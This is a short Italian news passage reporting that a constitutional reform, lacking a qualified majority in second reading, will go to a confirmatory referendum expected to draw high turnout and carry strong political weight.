Concluso il percorso parlamentare, la parola passerà ai cittadini. La riforma, essendo di natura costituzionale, sarà infatti sottoposta a referendum confermativo in assenza di una maggioranza qualificata in seconda lettura. Una consultazione che si annuncia ad alta partecipazione e dal forte valore politico e istituzionale.


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